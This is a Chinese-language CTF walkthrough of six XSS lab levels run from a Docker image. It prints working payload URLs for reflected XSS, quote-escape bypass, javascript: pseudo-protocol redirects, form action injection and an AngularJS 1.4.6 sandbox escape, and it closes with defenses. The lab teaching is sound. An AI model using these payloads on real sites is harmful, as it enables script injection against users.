CTFer成长之路之XSS的魔力
字数 1330 2025-08-24 10:10:13
XSS攻击实战教学文档
1. XSS基础概念
XSS (Cross-Site Scripting) 跨站脚本攻击是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意JavaScript代码。
2. XSS挑战环境搭建
2.1 环境配置
# docker-compose.yml
version: "3.2"
services:
xss:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latest
ports:
- 3000:3000
启动命令:
docker-compose up -d
停止环境:
docker-compose down -v
3. XSS挑战关卡解析
3.1 Level1 - 基础反射型XSS
目标:通过URL参数注入XSS代码
测试过程:
- 访问URL:
http://[domain]/level1?username=xss - 发现username参数值直接显示在页面中
- 构造payload:
<script>alert(/xss/)</script>
解决方案:
http://[domain]/level1?username=<script>alert(/xss/)</script>
原理:未经过滤的用户输入直接插入到HTML中,导致脚本执行。
3.2 Level2 - 编码绕过
目标:绕过escape函数过滤
测试过程:
- 发现
<script>标签被转码 - 查看源码发现使用了escape函数
- 尝试闭合JavaScript变量赋值
解决方案:
http://[domain]/level2?username=';alert(1);'
原理:通过闭合单引号和分号,构造有效的JavaScript语句:
var username = '';alert(1);'';
3.3 Level3 - 转义字符绕过
目标:绕过单引号转义
测试过程:
- 发现单引号被
\转义 - 尝试使用HTML事件属性
解决方案1:
http://[domain]/level3?username='';alert(1);'
解决方案2(使用HTML事件):
http://[domain]/level3?username=<a onmouseover="alert(1)">
或
http://[domain]/level3?username=
原理:利用HTML标签的事件属性执行JavaScript。
3.4 Level4 - JavaScript伪协议
目标:利用重定向功能执行XSS
分析源码:
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}
// ...
}
解决方案:
http://[domain]/level4?jumpUrl=javascript:alert(1)
原理:利用javascript:伪协议在重定向时执行代码。
3.5 Level5 - 表单action注入
目标:通过表单action属性执行XSS
分析源码:
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}
解决方案:
http://[domain]/level5?autosubmit=1&action=javascript:alert(1)
原理:通过控制表单的action属性,利用javascript伪协议执行代码。
3.6 Level6 - AngularJS模板注入
目标:绕过AngularJS沙箱
测试过程:
- 发现常规XSS被过滤
- 测试模板注入:
?username={{3*3}}→ 输出9 - 确认使用AngularJS 1.4.6
解决方案:
http://[domain]/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)
原理:利用AngularJS沙箱逃逸技术:
- 修改charAt函数行为
- 通过$eval执行任意代码
4. XSS防御措施
- 输入过滤:对用户输入进行严格过滤
- 输出编码:根据输出上下文进行HTML/JS编码
- CSP:使用Content Security Policy限制脚本执行
- HttpOnly:为Cookie设置HttpOnly属性
- 框架安全:保持框架最新,避免已知漏洞
5. 高级XSS技术
- DOM型XSS:不依赖服务器响应的纯客户端XSS
- 存储型XSS:恶意脚本被存储在后端,影响所有访问者
- 基于SVG的XSS:利用SVG文件执行脚本
- 基于CSS的XSS:利用CSS表达式或@import执行脚本
6. 学习资源
- OWASP XSS防护手册
- AngularJS安全指南
- CSP规范文档
- XSS过滤绕过备忘录(Cheat Sheet)
通过这六个关卡的实战练习,可以全面了解XSS攻击的各种形式和防御方法。